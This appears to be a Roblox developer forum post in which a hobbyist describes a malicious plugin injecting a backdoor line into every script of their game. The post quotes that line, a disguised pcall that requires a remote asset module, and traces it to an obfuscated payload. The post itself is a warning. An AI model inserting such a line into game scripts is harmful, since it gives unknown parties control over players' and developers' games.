I personally would post this in discussion but I don’t have the permissions.
Backdoors have been around on roblox for a few years and are becoming more and more used to break games, insert exploit capabilites, and theyre very stealthy too.
I recently have been working on a game only for it to be ruined by a plugin inserting backdoors into every single script in my game. My scripts now have this line of text:
--[[ --]] pcall(function()require(5045142580):Fire()end)
So I further looked into this, I got the module and it was just another require.
I looked in the library again for this other id, and as predicted, it’s another require
I then looked for this other id, and found the model that looks like it would be the main model that would break your game, no, it’s a getfenv, I couldn’t even scroll along, it would lag my studio, not my computer, so I copied the script into notepad and it was not lagging. I tried to read what on earth it was but it was just random letters, so I searched “getfenv” and “require”, nothing came up for require, but getfenv, yes,
Whoever writes these backdoors would not write all these random letters, they must be using some form of software to stop anyone from understanding it except your computer. Don’t judge me if I’m wrong, but I’m pretty sure theyre obsfuscating their backdoor. At this point I can’t do anything but report the items, which I recommend you all do too.
I hope this can help explain how some backdoors are really sneaky and can break your game. If I’m wrong anywhere, which I probably am, feel free to correct me and I’ll replace the text.
NOTE: I am not a professional scripter, I just am curious and this is all personal opinion and none of it should be trusted to be a fact.